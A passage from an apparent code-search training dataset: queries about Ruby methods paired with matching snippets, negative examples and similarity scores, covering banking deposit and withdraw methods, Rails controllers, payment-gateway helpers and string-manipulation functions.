end\",\n \"def deposit_cash(deposit_amount)\\n @balance += deposit_amount\\n end\",\n \"def party_params\\n params.require(:party).permit(:result_no, :generate_no, :e_no, :party_type, :party)\\n end\",\n \"def create\\n @party = Party.new(party_params)\\n\\n respond_to do |format|\\n if @party.save\\n format.html { redirect_to @party, notice: '作成しました。' }\\n format.json { render :show, status: :created, location: @party }\\n else\\n format.html { render :new }\\n format.json { render json: @party.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def add_money_to_wallet\\n puts \\\"\\\\n-----------------------\\\".colorize(:blue)\\n puts \\\"How much more money do you want to add?\\\".colorize(:red)\\n print \\\"> $\\\"\\n new_money = gets.to_i\\n @player.wallet += new_money\\n puts \\\"Your wallet now has: $#{@player.wallet}\\\".colorize(:blue)\\n end\",\n \"def deposit ( person, amount )\\r\\n\\t\\tif person.worth >= amount\\r\\n\\t\\t@bank_listing[person.id_number][:balance]+=amount\\r\\n\\t\\tputs \\\"#{@bank_name}: Thanks #{person.name}, you deposited #{amount}. Your current balance is $#{@bank_listing[person.id_number][:balance]}.\\\"\\r\\n\\t\\telse\\r\\n\\t\\t\\tputs \\\"#{@bank_name}: Sorry, you don't have enough on hand.\\\"\\r\\n\\t\\tend\\r\\n\\tend\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n end\",\n \"def deposit(amount)\\n @balance += amount\\n @balance\\n end\",\n \"def deposit(cash)\\n @balance += cash\\n end\",\n \"def deposit(deposit_amount)\\n self.balance += deposit_amount\\n end\",\n \"def add(cash)\\n @current_balance = @current_balance + cash\\n end\",\n \"def add_credit\\n#\\t\\tcurrent_user.update(balance: current_user.balance + params[:amount])\\n\\tend\",\n \"def deposit(deposit_amount)\\n self.balance += deposit_amount\\n end\",\n \"def add_bank_account\\n\\n get_balanced_key\\n\\n account_uri = params[:account_uri]\\n company_name = \\\"Mindfire Solutions\\\"\\n\\n ##You can set your customer business / company name here \\n customer = Balanced::Customer.new({name: company_name}).save\\n customer_uri = customer.href\\n get_customer = Balanced::Customer.fetch(customer_uri)\\n \\n bank_account = Balanced::BankAccount.fetch(account_uri)\\n bank_account.associate_to_customer(customer_uri)\\n \\n ##befor debiting your customer you need to verify their bank account as per balanced payment\\n bank_account = Balanced::BankAccount.fetch(account_uri)\\n verify_bank_account = bank_account.verify\\n verification = Balanced::BankAccountVerification.fetch(verify_bank_account.href)\\n verification.confirm(\\n amount_1 = 1,\\n amount_2 = 1\\n )\\n \\n amount_in_dollars = params[:amount].to_i\\n #amount_in_dollars * 100 convert into cents\\n debit = bank_account.debit(:amount => amount_in_dollars * 100, appears_on_statement_as: \\\"Debit Amount\\\")\\n \\n ##You can save the response in your db for future use\\n #debit.transaction_number\\n #debit.amount\\n #debit.statusdebit.created_at\\n \\n #get your balanced marketplace\\n marketplace = Balanced::Marketplace.my_marketplace\\n \\n credit = get_marketplace_bank_account.credit(:amount => debit.amount, appears_on_statement_as: \\\"Credit Amount\\\")\\n\\n \\n return render json: {success: [\\\"Debit Transaction:: #{debit.attributes}\\\", \\\"Credit Transaction:: #{credit.attributes}\\\"] }\\n\\n end\",\n \"def add_account(xml, credit_card)\\n xml.Account do\\n xml.Holder credit_card.name\\n xml.Number credit_card.number\\n xml.Brand credit_card.brand.upcase\\n xml.Expiry(:month => credit_card.month, :year => credit_card.year)\\n xml.Verification credit_card.verification_value\\n end\\n end\",\n \"def party_params\\n params.require(:party).permit()\\n end\",\n \"def withdraw ( person, amount )\\r\\n\\t\\tif @bank_listing[person.id_number][:balance] >= amount\\r\\n\\t\\t\\t@bank_listing[person.id_number][:balance]-=amount\\r\\n\\t\\t\\tputs \\\"#{@bank_name}: Thanks #{person.name}, here's your $#{amount}. Your current balance is $#{@bank_listing[person.id_number][:balance]}.\\\"\\r\\n\\t\\telse\\r\\n\\t\\t\\tputs \\\"#{@bank_name}: Sorry #{person.name}, insufficient funds.\\\"\\r\\n\\t\\tend\\r\\n\\tend\",\n \"def addOpenBet (betID)\\r\\n @openBets.add(betID)\\r\\n end\",\n \"def add_stock_to_account(company, price)\\n stock = Stock.new\\n stock.company = company\\n stock.price = price\\n stocks.push(stock)\\n end\",\n \"def add_financial_data(request, money, options)\\r\\n request.Set(RocketGate::GatewayRequest::AMOUNT, amount(money))\\r\\n request.Set(RocketGate::GatewayRequest::CURRENCY, options[:currency] || currency(money))\\r\\n end\",\n \"def save_beneficiary(deposit, address)\\n if address.blank?\\n Rails.logger.warn(\\\"Deposit #{deposit.id} has no address to save beneficiaries\\\")\\n return\\n end\\n Rails.logger.info(\\\"Save #{address} as beneficiary for #{deposit.account.id}\\\")\\n\\n beneficiary_name = [ENV.fetch('BENEFICIARY_PREFIX', 'bitzlato'), address].compact.join(':')\\n\\n blockchain.currencies.each do |currency|\\n deposit.account.member.beneficiaries\\n .create_with(data: { address: address }, state: :active)\\n .find_or_create_by!(\\n name: beneficiary_name,\\n currency: currency\\n )\\n end\\n rescue StandardError => e\\n report_exception e, true, { deposit_id: deposit.id, address: address }\\n end\",\n \"def deposit(money)\\n @balance += money\\nend\",\n \"def add_member_to_card\\n @trello.add_commander_to_card(find_member, @card)\\n end\",\n \"def credit(postive_amount)\\n Credit.create!(team: team,\\n room_type: room_type,\\n amount: postive_amount)\\n end\",\n \"def add_account\\n update_attribute(:account_id, Account.current.id)\\n end\",\n \"def withdraw!(amount, destination_account_id, dedupe_id = SecureRandom.uuid)\\n data = {\\n amount: amount,\\n destination_account_id: destination_account_id,\\n dedupe_id: dedupe_id,\\n }\\n\\n response = Monzo.client.put(\\\"/pots/#{@id}/withdraw\\\", data)\\n parsed_response = parse_response(response)\\n update_self(parsed_response)\\n end\",\n \"def load_bills_party(party)\\n params = {'sponsor.party' => party}\\n @bills = process('bills', 'bills', params)\\n end\",\n \"def deposit(amount)\\n @balance = @balance + amount\\n end\",\n \"def open ( person )\\r\\n\\t\\t@bank_listing[person.id_number] = {:name => person.name, :balance => 0}\\r\\n\\t\\tputs \\\"#{@bank_name}:Thank you for joining, #{person.name}! Your balance is currently #{@bank_listing[person.id_number][:balance]}!\\\"\\r\\n\\tend\",\n \"def offer_contract(startup, invested_amt, investment_type)\\n new_funding_round = FundingRound.new(startup, self, investment_type, invested_amt) \\nend\",\n \"def reward\\n business.add_to_balance(amount)\\n end\",\n \"def deposit(amount_of_money)\\n return @balance + amount_of_money\\n end\",\n \"def add_obligation(expense, name, amount)\\n return unless expense.obligations.where(user_id: self.id).empty?\\n\\n obligation = ExpenseObligation.new(name: name, amount: amount)\\n obligation.user = self\\n obligation.expense = expense\\n obligation.save!\\n obligation\\n end\",\n \"def add_bet_amount(amount_added)\\n @bet_amount = bet_amount + amount_added\\n end\",\n \"def withdraw amount, month, day\\n raise ArgumentError, 'Insufficient credit!' if amount + @balance > MAX_CREDIT\\n # create transaction entry\\n @transactions[month] << Line.new(day, month, amount)\\n @balance += amount\\n end\",\n \"def add_card(card)\\n @addhand = @addhand + card\\n end\",\n \"def add_account(account)\\n @accounts[account.id] = account\\n end\",\n \"def spend(amount)\\r\\n @spend += amount\\r\\n end\",\n \"def register_players(party, controller)\\n return if party.blank?\\n\\n party.each_with_index do |pc, index|\\n add(pc, :a, position: \\\"spawn_point_#{index + 1}\\\", controller: controller)\\n end\\n @current_party = party\\n @combat_order = party\\n end\",\n \"def credit(amount)\\n\\t\\t@revenue += amount\\n\\tend\",\n \"def create\\n @counterparty = Counterparty.new(counterparty_params)\\n @counterparty.owner = current_user\\n\\n respond_to do |format|\\n if @counterparty.save\\n format.html { redirect_to @counterparty, notice: \\\"Counterparty was successfully created.\\\" }\\n format.json { render :show, status: :created, location: @counterparty }\\n else\\n format.html { render :new }\\n format.json { render json: @counterparty.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def add_money\\n @total += fee\\n end\",\n \"def bank; end\",\n \"def set_party_info\\n @party_info = PartyInfo.find(params[:id])\\n end\",\n \"def deposit(t)\\n\\n @balance += t.amount\\n t.currBalance = @balance\\n @ledger << t\\n\\n end\",\n \"def party_params\\n params.require(:party).permit(:user_id, :code_id, :role, :state)\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7529786","0.66861755","0.6645891","0.6571978","0.6488864","0.63698006","0.63698006","0.636229","0.6312369","0.6308057","0.6248236","0.6244405","0.6206623","0.6204864","0.61988544","0.61978066","0.61868083","0.61868083","0.61868083","0.61868083","0.61868083","0.6172379","0.61289656","0.60667366","0.60667366","0.60667366","0.60667366","0.6064911","0.6060268","0.6042939","0.6042939","0.6005791","0.59901476","0.59871095","0.59517884","0.5939576","0.592999","0.590645","0.58902234","0.5852204","0.5845361","0.5835624","0.5825912","0.58040905","0.579951","0.57958084","0.5792698","0.57891667","0.5788588","0.5788081","0.5788081","0.5762996","0.57602686","0.57443243","0.57412165","0.57406616","0.5734326","0.57279205","0.5725597","0.5725597","0.5725597","0.5714966","0.5713447","0.5702431","0.57019514","0.5690032","0.56882447","0.5680414","0.5675095","0.56617737","0.5661172","0.56599","0.5640965","0.56398904","0.56376064","0.5630144","0.5612729","0.5607786","0.56014556","0.5600035","0.55976415","0.55876434","0.5582663","0.55752265","0.5574329","0.5573317","0.55713654","0.5570139","0.5568342","0.55581146","0.55576897","0.555636","0.5553932","0.553945","0.5533121","0.5532237","0.5530339","0.55237645","0.55166876","0.55162096"],"string":"[\n \"0.7529786\",\n \"0.66861755\",\n \"0.6645891\",\n \"0.6571978\",\n \"0.6488864\",\n \"0.63698006\",\n \"0.63698006\",\n \"0.636229\",\n \"0.6312369\",\n \"0.6308057\",\n \"0.6248236\",\n \"0.6244405\",\n \"0.6206623\",\n \"0.6204864\",\n \"0.61988544\",\n \"0.61978066\",\n \"0.61868083\",\n \"0.61868083\",\n \"0.61868083\",\n \"0.61868083\",\n \"0.61868083\",\n \"0.6172379\",\n \"0.61289656\",\n \"0.60667366\",\n \"0.60667366\",\n \"0.60667366\",\n \"0.60667366\",\n \"0.6064911\",\n \"0.6060268\",\n \"0.6042939\",\n \"0.6042939\",\n \"0.6005791\",\n \"0.59901476\",\n \"0.59871095\",\n \"0.59517884\",\n \"0.5939576\",\n \"0.592999\",\n \"0.590645\",\n \"0.58902234\",\n \"0.5852204\",\n \"0.5845361\",\n \"0.5835624\",\n \"0.5825912\",\n \"0.58040905\",\n \"0.579951\",\n \"0.57958084\",\n \"0.5792698\",\n \"0.57891667\",\n \"0.5788588\",\n \"0.5788081\",\n \"0.5788081\",\n \"0.5762996\",\n \"0.57602686\",\n \"0.57443243\",\n \"0.57412165\",\n \"0.57406616\",\n \"0.5734326\",\n \"0.57279205\",\n \"0.5725597\",\n \"0.5725597\",\n \"0.5725597\",\n \"0.5714966\",\n \"0.5713447\",\n \"0.5702431\",\n \"0.57019514\",\n \"0.5690032\",\n \"0.56882447\",\n \"0.5680414\",\n \"0.5675095\",\n \"0.56617737\",\n \"0.5661172\",\n \"0.56599\",\n \"0.5640965\",\n \"0.56398904\",\n \"0.56376064\",\n \"0.5630144\",\n \"0.5612729\",\n \"0.5607786\",\n \"0.56014556\",\n \"0.5600035\",\n \"0.55976415\",\n \"0.55876434\",\n \"0.5582663\",\n \"0.55752265\",\n \"0.5574329\",\n \"0.5573317\",\n \"0.55713654\",\n \"0.5570139\",\n \"0.5568342\",\n \"0.55581146\",\n \"0.55576897\",\n \"0.555636\",\n \"0.5553932\",\n \"0.553945\",\n \"0.5533121\",\n \"0.5532237\",\n \"0.5530339\",\n \"0.55237645\",\n \"0.55166876\",\n \"0.55162096\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.76167434"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":171998,"cells":{"query":{"kind":"string","value":"def transform_remaining_double_strings(array_of_strings) array_of_strings.each do |array| array.map do |el| if el == array[1] || el == array[2] el.gsub!(/^\\\"|\\\"?$/, '') else el end end end end"},"document":{"kind":"string","value":"def strip_each_array(array)\n\tarray.each do |inner_array|\n\t\tinner_array.map do |i|\n\t\t\ti.gsub!(/^\\\"|\\\"?$/, '')\n\t\tend\n\tend\nend"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def cleanup_strings(strings, strip: true)\n strings = Array(strings).flatten.map! { |s| cleanup_string(s, strip: strip) }\n strings.reject!(&:blank?)\n strings\n end","def merge_adjacent_strings(arr)\n # Optimize for the common case of one element\n return arr if arr.size < 2\n arr.inject([]) do |a, e|\n if e.is_a?(String)\n if a.last.is_a?(String)\n a.last << e\n else\n a << e.dup\n end\n else\n a << e\n end\n a\n end\n end","def sanitize(path_array)\n path_array.map do |path|\n path = path.gsub(/{(.*) => (.*)}/, '\\2')\n path.strip\n end\n end","def remove_vowels2(array_of_strings)\n vowels = 'aeiouAEIOU'\n array_of_strings.map do |string|\n string.delete(vowels)\n end\nend","def remove_vowels(array_of_strings)\n vowels = 'aeiou'\n consonant_array = array_of_strings.map do |string|\n string.chars.delete_if { |char| vowels.include?(char) }.join\n end\n consonant_array.join(' ')\nend","def strip_string_array(arr)\n arr.first.lstrip! if arr.first.is_a?(String)\n arr[-1] = Sass::Util.rstrip_except_escapes(arr[-1]) if arr.last.is_a?(String)\n arr\n end","def remove_vowels(string_array)\n string_array.map { |string| string.gsub(/[aeiou]/i, \"\") }\nend","def find_doubles(in_array)\n result = []\n find_not_uniq_words(in_array).each do |not_uniq_word|\n in_array.each do |url_desc_cont|\n result << url_desc_cont if url_desc_cont[1][0] && url_desc_cont[1][0].include?(not_uniq_word)\n end\n end\n result\n end","def crunch(double_string)\n current_character = ''\n new_string = ''\n double_string.each_char do |character|\n if character != current_character\n new_string += character\n current_character = character\n end\n end\n new_string\nend","def separate(dirty_array)\n split_pieces = []\n dirty_array.each do |elem|\n split_pieces << elem.split(/[^a-zA-Z]/)\n end\n flat_array = split_pieces.flatten\n return flat_array.reject! { |c| c.empty? }\nend","def remove_vowels_simple(strings)\n strings.map do |string|\n string.gsub(/aeiou/i, ''))\n end\nend","def convertFinalArrayToString\n string = \"\"\n @arrayOfElements.each { |row| \n rowString = \"\"\n row.each { |word|\n if \"\" == rowString\n rowString = rowString + word\n else\n rowString = rowString + \" \" + word\n end\n }\n if \"\" == string\n string = rowString\n else\n string = string + \"\\n\" + rowString\n end\n }\n return string\nend","def remove_vowels(array) #Works, but is very long, wordy and non-intuitive.\r\n vowels = [\"a\", \"A\", \"e\", \"E\", \"i\", \"I\", \"o\", \"O\", \"u\", \"U\"]\r\n new_array = []\r\n array.map do |string|\r\n sub_array = string.chars.select do |letter|\r\n letter unless vowels.include?(letter)\r\n end\r\n new_array << sub_array.join\r\n end\r\n new_array\r\nend","def remove_vowels(array_of_strings)\n array_of_strings.map { |string| string.delete(\"AEIOUaeiou\") }\nend","def split_strip_compact_array(values_str_array, delimiter = \",\")\n return [] if not values_str_array\n values_str_array.inject([]) {|s,x| s + split_strip_compact(x, delimiter)}\nend","def crunch(string)\n new_array = [ ]\n\n original_string_arr = string.chars\n\n original_string_arr.each_with_index do |char, index|\n if char != original_string_arr[index + 1]\n new_array << char\n end\n end\n\n new_array.join\nend","def unquote_array(*values)\n values.flatten.map{|v| unquote(v) }.select{|v| v.respond_to?(:to_str)}\n end","def sanitize_pair_list pairs_array\n\t\twithout_duplicates = remove_unwanted_duplicates pairs_array\n\t\talphabetize_pairs_by_seq(without_duplicates)\n\tend","def censor(string, array)\n new_words = (string.split).map do |word|\n if array.include?(word.downcase)\n star_vowels(word)\n else\n word\n end\n end\n\n new_words.join(\" \")\nend","def stringsRearrangement(inputArray)\n p = inputArray.permutation.to_a\n result = Array.new\n \n p.each do |inputA|\n result << checkDiffByOne(inputA)\n end\n \n result.count(true)\nend","def simplify_key_value_list(elements)\n # remove everything form right to left till the double unerline\n elements.each do |element|\n element.keyValueList.transform_keys! do |key|\n index = key.index('__')\n if !index.nil?\n key.slice(index + 2, key.length)\n else\n key\n end\n end\n end\n end","def double_every_other\r\n @number_array = @number.split(//)\r\n @double_array = @number_array.collect.with_index { |digit, index| index.even? ? digit.to_i * 2 : digit }\r\n @double_array.map! { |term| term.to_s.split(//)}.flatten!\r\n end","def single_to_double(str)\n ret = str.dup\n return ret if str.start_with?(\"\\\"\")\n\n # esacpe interpolation start (ignred in single quoted string)\n ret.gsub!(\"\\#{\", \"\\\\\\#{\")\n # esacpe double quotes (not needed in single quoted string)\n ret.gsub!(\"\\\"\", \"\\\\\\\"\")\n\n # replace the around quotes\n ret[0] = \"\\\"\"\n ret[-1] = \"\\\"\"\n ret\n end","def strip_array(clothed_arr)\n fully_stripped = []\n clothed_arr.each do |onecase|\n fully_stripped.push(onecase.strip)\n end\n return fully_stripped\n end","def double_consonants(string)\n result = string.split(//).map do |char|\n char =~ /[b-df-hj-np-tv-z]/i ? char * 2 : char\n end\n result.join\nend","def remove_vowels(array)\n array.map { |string| string.gsub(/[aeiouAEIOU]/, \"\") }\nend","def strings_for_select( *_array)\n _array = _array.flatten\n if _array.blank?\n []\n else\n _array.zip _array\n end\n end","def swapcase(multi_word_string)\n word_arr = multi_word_string.split\"\" \n modified_arr = word_arr.map do |char|\n if char.match(/[a-z]/)\n char.upcase\n elsif char.match(/[A-Z]/)\n char.downcase\n else\n char\n end\n end\n modified_arr.join\"\"\nend","def pirates_say_arrrrrrrrr(string)\n array_1 = string.downcase.split\"\"\n array_2 = []\n \n loop do\n arrr = array_1.index(\"r\")\n break if arrr == nil\n array_1.delete_at(arrr)\n array_2 << array_1[arrr]\n end\n \narray_2.join\n\nend","def cleanup_noreg(string)\n blocks = string.split\n result = blocks.map do |word|\n word = word.chars.map! do |char|\n if char.downcase == char.downcase.upcase\n ' '\n else \n char\n end\n end\n word = word.join\n # p word\n #p word.squeeze(\" \")\n #word.squeeze(\" \")\n # take note that here +*& is a block or word, and gets replaced by a space without\n # any contiguous letter chars\n # so after join on line 48, there are 3 spaces between my and line, without the squeeze call\n word\n end\n result = result.join(' ').squeeze(' ')#.squeeze\nend","def remove_vowels3(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend","def remove_vowels(strings) # iterate through each vowel, set parameter to string, return string\n strings.map do |string|\n chars = string.split(\"\") # splitting the string into an array\n VOWELS.each { |vowel| chars.delete(vowel) }\n chars.join(\"\")\n end\nend","def rewrite_param_values(array_params)\n array_params.each { |param| (param[1] || \"\").gsub! %r/^\"|\"$/, '' }\n end","def fixed_array\n reformated_array.map! do |element|\n element.join(\", \").split(\", \")\n end \nend","def remove_vowels(strings)\n strings.each_with_object([]) do |string, arr|\n arr.push(string.gsub(/[aeiou]/i, ''))\n end\nend","def normalize_date_strings(date_strings, separator = '/')\n return date_strings if RUBY_VERSION < '1.9'\n date_strings = [*date_strings] # ensure Array\n date_strings.map! do |ds|\n fragments = ds.split(separator)\n [fragments[1], fragments[0], fragments[2]].join(separator)\n end\n end","def alternate_words(sentence) #Not clear why failing test because exact same output\n\tarray = sentence.split(' ')\n\t\n\tnew_array = []\n\tarray.length.times {|index| new_array << array[index] if index.even?}\n\tnew_array.map! {|element| element.gsub(/\\p{P}(?<!')/, \"\")}\n\treturn new_array\nend","def format_address(arr)\n downcase_arr = arr.map(&:downcase)\n formatted_arr = downcase_arr.map{|a| a.gsub(\", \", \"\").gsub(\" \", \"-\")}\n # puts formatted_arr\nend","def double_consonants(string)\n doubled_chars = string.chars.map do |char|\n if char =~ /[A-Za-z]/ && !VOWELS.include?(char)\n char + char\n else\n char\n end\n end\n doubled_chars.join\nend","def rewrite_param_values(array_params)\n array_params.each { |param| (param[1] || \"\").gsub! %r/^\"|\"$/, '' }\n end","def unsymbolize_array(array)\n array.collect{|c| c.to_s}\n end","def remove_non_strings(arr)\n arr.select do |element|\n element == element.to_s\n end\nend","def rewrite_param_values(array_params)\n array_params.each { |param| param.last.gsub! %r/^\"|\"$/, '' }\n end","def remove_vowels(arr)\n arr.map do |str|\n str.gsub(/[AEIOUaeiou]/,'')\n end\nend","def pirates_say_arrrrrrrrr(string)\n\tarray_1 = string.downcase.split\"\"\n\tarray_2 = []\n\nloop do \n\tarrr = array_1.index(\"r\")\n\tbreak if arrr == nil\n\tarray_1.delete_at(arrr)\n\tarray_2 << array_1[arrr]\n\t\nend\n\narray_2.join\n\nend","def array_of_2_char_substrings\n @array_of_2_char_substrings ||= array_of_single_char_substrings.map do |a|\n array_of_single_char_substrings.map {|b| \"#{a}#{b}\" }\n end.flatten\n end","def internal_space_old(line)\n arr = []\n single_quote = line.count('\"')\n # This method won't work when there is two consecutive double quote\n # so we must replace them else they will get removed.\n line.gsub!('\"\"', '☠')\n line.split('\"').each_with_index do |item, i|\n # if odd number of double quote we are in a string else we are out\n # process only if out of a string\n item.gsub!(/ +/, ' ') if i.even?\n arr.push(item)\n end\n output = arr.join('\"')\n output.gsub!('☠', '\"\"')\n output += '\"' unless single_quote == output.count('\"')\n return output\n end","def format_comb(arr)\n ret = []\n arr.each do |sub_arr|\n if sub_arr.size > 1\n # use dash to connect the multiple strings \n ret << sub_arr.inject('') {|acc, e| acc + e + '-' }[0..-2]\n elsif sub_arr.size == 1\n ret << sub_arr[0]\n else\n # do nothing...\n end\n end\n return ret\n end","def recombiner (array_of_char)\n new_name = array_of_char.join.split(' ').reverse\n new_name.map! do | words |\n words.capitalize\n end\n new_name.join(' ')\nend","def swap(string)\n string = string.split\n new_string = []\n\n\n string.map do |word|\n word = word.chars\n c1 = word[0]\n c2 = word[-1]\n\n word[0] = c2\n word[-1] = c1\n\n new_string << word.join\n\n end\n\n new_string.join(' ')\nend","def transform_array_with_map(array)\n # Avec la fonction map, on transforme le tableau appelé grâce au paramètre array.\n # Au début, le tableau renvoie ça : [#<Twitter::Tweet id=954654232795283457>, ...]\n # On applique le regex puis on s'assure que les emails soient renvoyés en tant que string.\n\n # La fonction map renvoie ça : [email@quelquechose.com,nil,nil,autreemail@bs.com,...]\n # Ensuite, on applique la fonction compact, qui élimine les valeurs nil du tableau.\n # Enfin, on élimine les potentiels doublons avec la fonction uniq.\n array.map do |tweet|\n result = \"#{tweet.text}\".match(/\\w+\\.?\\+?\\w+?@\\w+\\-?\\w+\\.\\w+/)\n result.to_s unless result == nil\n end.compact.uniq\nend","def remove_vowels(array)\n array.map do |string|\n string.delete(\"aeiouAEIOU\")\n end\nend","def kesha_maker(array)\n array.collect do |element|\n split_element_to_array = element.split(\"\")\n split_element_to_array[2] = \"$\"\n joined_array = split_element_to_array.join\n joined_array\n end\nend","def remove_vowels(array)\n array.map { |string| string.delete(\"AEIOUaeiou\") }\nend","def remove_vowels(array)\n array.map { |string| string.delete(\"aeiouAEIOU\") }\nend","def resolve_duplicates(rows_as_strings)\n\trows_as_arrays = rows_as_strings.map{|row| row.split(' ')}\n\tmerged_row = rows_as_arrays.first[0..10] # first 11 elements are selected from the first row\n\t(11..rows_as_arrays.first.length-1).each do |col_idx|\n\t\talleles = []\n\t\trows_as_arrays.each do |row|\n\t\t\talleles << row[col_idx]\n\t\tend\n\t\tmerged_allele = resolve_alleles(alleles)\n\t\tmerged_row << merged_allele\n\tend\n\treturn merged_row.join(\" \")\nend","def double_consonants(string)\n final = string.chars.map do |el|\n if %w[a e i o u].include?(el)\n el\n elsif ('a'..'z').include?(el.downcase)\n el * 2\n else\n el\n end\n end\n final.join\nend","def remove_non_strings (array)\n temp = []\n array.each do |data|\n if data.class == String\n temp << data\n end\n end\n temp\nend","def kesha_maker(array)\n array.map do |elem|\n word_splice = elem.split(\"\")\n word_splice[2] = \"$\"\n word_splice.join\n end\nend","def formatAnswersToSimple( answerArr )\n resultString = \"\"\n # answerArr.each{ |ansArr|\n# resultString = resultString + ansArr.join( \",\" )\n # resultString = resultString + \"~\"\n # }\n resultString = answerArr.join(\"~\")\nend","def double_consonants(string)\n results = []\n\n string.chars.each do |char|\n if char =~ /[\"AEIOUaeiou\"]/ || \n char =~ /\\W/ ||\n char =~ /\\d/\n results << char\n else\n results << char << char\n end\n end\n\n results.join\nend","def remove_vowels(array)\n array.map do |string|\n string.delete('AEIOUaeiou')\n end\nend","def remove_vowels(array)\n array.map { |string| string.delete('aeiouAEIOU') }\nend","def swap(string)\n words = string.split\n swapped_words = words.map do |word|\n swapped = word.dup\n swapped[0] = word[-1]\n swapped[-1] = word[0]\n swapped\n end\n\n swapped_words.join(' ')\nend","def remove_vowels(array)\n array.map do |word|\n word.gsub(/[aeiou]/i, '') # use gsub to pull out the vowels\n end\nend","def swap(string)\n array = string.split\n swapped_array = array.map do |element|\n element[0], element[-1] = element[-1], element[0]\n element\n end\n swapped_array.join(' ')\nend","def names_two(names)\n\t\tnames.map{ |i| %Q('#{i}') }.join(',')\n\t\tnames = names.map(&:capitalize)\n\t\tlittle_array = []\n\t\tsets = names.shuffle\n\tif names.length % 2 == 0\n\t\ta = names.length/2\n\t\ta.times do \n\t\tsets_1 = sets.pop(2).to_a\n\t\tlittle_array << sets_1\n\t\tset_1 = 0\n\tend\n\n\telse \n\t\textra = sets.pop\n\t\tb = names.length/2\n\t\tb.times do \n\t\tsets_1 = sets.pop(2).to_a\n\t\tlittle_array << sets_1\n\t\tset_1 = 0\n\tend\n\tlittle_array[0] << extra\nend\nclean_array = clean(little_array)\np clean_array\nend","def double_consonants(string)\n chars_array = string.chars.map do |x|\n if x =~ /[^AEIOUaeiou0-9\\W]/\n x*2\n else\n x\n end\n end\n \n chars_array.join\nend","def crunch(str)\n str.split.map do |word|\n word.chars.each_with_object('') do |char, clean_word|\n clean_word << char if char != clean_word[-1]\n end\n end.join(' ')\nend","def alternate_words(string)\n\n\tunwanted = [\"!\",\"@\",\"$\",\"#\",\"%\",\"^\",\"&\",\"*\",\"(\",\")\",\"-\",\"=\",\"_\",\"+\",\"[\",\"]\",\":\",\";\",\",\",\".\",\"/\",\"<\",\">\",\"?\",\"|\"]\n\tcounter = 0\n\tnew_str_arr = Array.new \n\n\tunwanted.each do |symbol|\n\t\tstring = string.gsub(symbol,\" \")\n\tend\n\tarray_str = string.split(\" \");\n\n\twhile counter < array_str.length do \n\t\tif counter.even?\n\t\t\tnew_str_arr.push(array_str[counter])\n\t\tend\t\n\tcounter += 1\t\n\tend\n\t\n\treturn new_str_arr\n\nend","def remove_vowels(strings)\n strings.map { |string| string.delete \"aeiouAEIOU\" }\nend","def remove_duplicates(char_array)\n #\n # Given an array of chars [\"A\", \"b\", \"c\", \"C\", \"D\", \"E\", \"F\"]\n #\n # Will an array with adjoining lower-case<->capital pairs removed\n #\n # \"[\"A\", \"b\", \"c\", \"C\", \"D\", \"E\", \"F\"] => [\"A\", \"b\", \"D\", \"E\", \"F\"]\n #\n # Note that this will compare idx=0 <=> idx=1 , idx=2 <=> idx=3, ..\n # It will not compare idx=1 to idx=2\n #\n # As such, this function should be called twice, once with first character offset\n # See `remove_all_duplicates` for implementation\n #\n char_array.each_slice(2).reject { |x| \n /[[:upper:]]/.match(x.first) ? x.first.downcase == x.last : x.first.upcase == x.last\n }.flatten\nend","def remove_vowels(strings)\n strings.map { |str| str.gsub(/[aeiou]/i, '')}\nend","def bulk_tweet_shortener(array)\n replace= []\n \n array.each do |string|\n replace << string.split.each do |word| \n if dictionary.has_key?(\"#{word}\") == true\n word.replace(dictionary[\"#{word}\"])\n else word\n end\n end\n \n end \n\n replace.collect do |tweet| puts tweet.join(\" \") end\nend","def remove_initial_and_format_change \n @reformated_array = []\n array_of_parse_files.each do |info|\n if !info[0].include?(\"|\") && !info[0].include?(\",\")\n info.map! {|element| element.split(\" \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n elsif info[0].include?(\"|\")\n info.map! {|element| element.split(\" | \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n else\n @reformated_array << info\n end\n end\nend","def downcase_deputes(array)\n\tarray.map do |n|\n\t\tn.downcase\n\tend\nend","def concatenate_array_of_strings(array)\n array_of_strings_concatenated = array.join\nend","def sanitize_and_merge_order(*orders)\n orders = orders.reject(&:blank?).map do |order|\n order.strip!\n order = order.last == ',' ? order.chop : order\n end\n orders = orders.reject(&:blank?)\n orders.empty? ? nil : orders.join(\", \")\n end","def remove_non_strings(array)\n array.delete_if {|word| word.to_s != word}\n end","def remove_vowels(arr)\n arr.map { |string| string.gsub(/[aeiou]/i, '') }\nend","def swap(string)\n arr = string.split(' ')\n\n arr.map! do |word|\n first = word[0]\n word[0] = word[-1]\n word[-1] = first\n word\n end\n\n arr.join(' ')\nend","def symbolise_array_strings(source, snake_case_keys=true)\n # returns snake case values\n return %I[#{sanitise_string(source, snake_case_keys)}]\n end","def add_s(array)\n s_array = []\n second_element = array.delete_at(1)\n\n array.each do |element|\n element_array = element.split(\"\")\n element_array[element_array.length] = \"s\"\n result = element_array.join\n s_array << result\n end\n s_array.insert(1, second_element)\n s_array\nend","def double_consonants(str)\n str.split(//).map { |chr| chr.match?(/[^aeiou\\d\\W]/i) ? chr + chr : chr }.join\nend","def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = 